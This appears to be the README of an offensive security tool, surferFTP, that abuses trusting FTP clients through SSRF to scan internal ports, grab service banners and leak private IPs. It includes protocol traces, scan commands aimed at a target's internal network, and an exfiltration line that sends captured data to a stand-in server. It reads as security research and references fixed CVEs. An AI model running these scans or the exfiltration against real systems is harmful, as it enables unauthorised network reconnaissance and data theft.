surferFTP is a set of scripts implementing some attacks against overly trusting FTP clients to extend our capabilities when exploiting Server-Side Request Forgery (SSRF) issues.
A malicious FTP server is hosted by the scripts and all it takes to run the attacks is to have the client interact with the FTP server (e.g. download a file, list the contents of a directory). Even though the prerequisites are simple, it's not very common in practice to have an attacker with the capability of directing a client to interact with an FTP server. Amongst the few cases where this is possible is within the context of web browsers, since the contents of a page can be controlled by the attacker and may contain references to resources hosted by an FTP server. Another interesting case is when we are dealing with an SSRF issue which is also the primary target of surferFTP. With surferFTP and given an SSRF, one could also get:
- Reliable TCP Port Scanning
- TCP Service Banner Disclosure
- Server Private IP Disclosure
This is a variation of the FTP bounce attack but instead of using the active mode, since we are attacking the client, we are using the passive mode. The key element to run this attack is to have the client establish the data channel through the PASV command. The PASV is the most commonly supported command that allows the server to specify the IP and PORT where the client has to connect to establish the data channel and receive the requested data. To perform the port scanning, the malicious server simply sets the IP and PORT to the target we want to test. Then based on the response of the FTP client we can determine the status of the port:
- Open Port: the client will normally send a command after the PASV response
< 220 SEXYFTP
> USER anonymous in 11ms
< 331 User name okay, need password.
> PASS ftp@example.com in 9ms
< 230 Login successful
> PWD in 4ms
< 257 /
> EPSV in 5ms
< 500 What is this
> PASV in 6ms
< 227 Entering PASSIVE Mode (172,17,0,1,31,68)
> **RETR** afile in 5ms
- Closed Port: the client will most likely terminate the control channel connection immediately after the PASV response
> [...SNIP...]
> PASV in 5ms
< 227 Entering PASSIVE Mode (172,17,0,1,31,69)
> in **33ms**
- Filtered Port: typically the control channel connection will hang
> [...SNIP...]
> PASV in 5ms
< 227 Entering PASSIVE Mode (172,17,0,1,31,70)
> in **1009ms** (with 1s timeout)
Usage:
Testing the script with some externally reachable hosts using dockerized curl:
./pasvaggresvFTP.sh -t 17.32.208.224/31 -p 80,140-145,443 -x ./dispatcher_examples/testing_ssrf_curl_port.sh
Scanning the internal network of a target:
./pasvaggresvFTP.sh -t 10.0.0.0/25 -p 22,8000-9000 -x ./dispatcher_examples/target_ssrf_port.sh
This is based on the same foundations as the port scanner. The only difference is that we go one step further and attempt to recover the banner of the TCP service. So again the client is directed to retrieve for example a file from our FTP server from where is directed to establish the data channel to the target IP:PORT. If a service that responds with a banner is listening to that port, then the client will read that response as the contents of the file requested earlier on. Now depending on the kind of SSRF we have, there are two possibilities for actually getting back that banner from the FTP client:
- Non-Blind SSRF: extracting the banner is trivial, we simply point the client to ftp://evilFTP/whatever and the banner should be returned in the response since is a non-blind SSRF. The banner extraction should be performed within the dispatcher based on the HTML response.
- Blind SSRF: here the extraction of the banner takes two steps. First, we get the banner response from the TCP service and then we issue another request to exfiltrate that response. This process may look like this:
banner=$(ssrf ftp://evilFTP/IP/PORT/file)
ssrf http://exfiltration_server/$banner
Since we need a state to be kept between the two SSRF calls, it should not be possible to exfiltrate banners through basic SSRF. But is possible to achieve this with the SSRF through XXE which is implemented in the xxe_bannerFTP.sh
Usage:
For the non-blind SSRF, we simply use the pasvaggresvFTP:
./pasvaggresvFTP.sh -t 10.0.0.0/25 -p 100-200 -x ./dispatcher_examples/target_ssrf_nonblind_banner.sh -q 20
Testing the blind SSRF through XXE using a dockerized java client:
./xxe_bannerFTP.sh -t 17.32.208.224/30 -p 140-145 -x ./dispatcher_examples/testing_xxe_blind_java_banner.sh -q 20
Extracting the banners of a target network:
./xxe_bannerFTP.sh -t 10.0.0.0/25 -p 100-200 -x ./dispatcher_examples/target_xxe_blind_banner.sh -q 20
It is noted that the FTP client will normally wait for the data channel connection to time out before returning the data. To avoid this delay, the parameter q is passed to the script which indicates the number of bytes the client should expect on the data channel. This number is passed in the response of the SIZE and RETR commands and allows the client to end the connection as soon as the specified numbers of bytes are received.
Here we try to have the client use the active mode to establish the data channel by rejecting any commands that attempt to establish a passive mode channel. In active mode (e.g. commands PORT, EPRT, LPRT) the client is expected to send the IP where it listens to receive the requested data. That IP should be the private IP on the interface used to establish the control channel with the FTP server.
Usage:
./leakyFTP
The directory edgyFTP contains a modified version of leakyFTP that works on IE/Edge (pre-chromium)
curl[1] | Java Oracle FTP Client[2] | .NET * FTP Client | libxml[3] | (headless) browsers | *[4] | |
---|---|---|---|---|---|---|
Port Scanning | ✔ | ✔ | ❌ | ✔ | ❌ | ✔ |
Banner Disclosure | ✔ | ✔ [5] | ❌ | ✔ | ❌ | ✔ |
Private IP Disclosure | ❌ | ✔ | ❌ | ❌ | ❌ [6] | ✓ |
[1] curl fixed the issues in version 7.74.0 (CVE-2020-8284)
[2] The issues with the Java Oracle FTP client should be resolved in the July 2021 CPU (CVE-2021-2341)
[3] Opened an issue here
[4] This is what one can expect from the rest of the FTP clients
[5] Java makes use of MeteredStream and doesn't completely respect the value provided in the -q parameter. The value provided in the -q parameter is most likely rounded to the nearest multiple of the size of the internally used buffer in the MeteredStream class.
[6] All major browsers except IE and Edge pre-chromium
> Why in bash? < I didn't know if it was possible to do it in bash > Was it possible? < Probably not > What is the dispatcher? < The dispatcher is the script that triggers the SSRF issue and is called internally by the evilFTP scripts. It's the same concept used in procrustes/metahttp. Check the dispatcher_examples directory for some examples. > How can i use this? < This is how i used it: 1. Get the private IP of the server. This can be accomplished by using the leakyFTP, reading the hosts file, or using any other technique. 2. Using the IP found in (1) estimate the network ranges in use 3. Use the identified network ranges to scan the internal network of the target for some interesting services Extra: depending on the service, you can use the banner disclosure to verify the target or just to prove the impact of the SSRF issue. Bonus: in case we are dealing specifically with XXE, one can also use metahttp to identify potentially interesting resources. It is noted that since metahttp can also scan hostnames, one can replace the first two steps described here with the generation of hostnames that might resolve to the IP of the target service. evilFTP and metahttp were originally part of the same repository. Example: Assuming we are hunting for some solr instances which we know they run on port 8983 and would normally host a resource under the path: /solr/admin/cores Then it's possible to identify that host by running either: ./pasvaggresvFTP.sh -t 10.0.0.0/25 -p 8983 -x ./dispatcher_examples/target.sh or ./metahttp.sh -t 10.10.0.0/25 -p 8983 -x ./dispatcher_examples/target.sh -a /solr/admin/cores
https://hackerone.com/reports/1040166
https://bugzilla.mozilla.org/show_bug.cgi?id=370559
https://github.com/chromium/chromium/commit/a1cea36673186829ab5d1d1408ac50ded3ca5850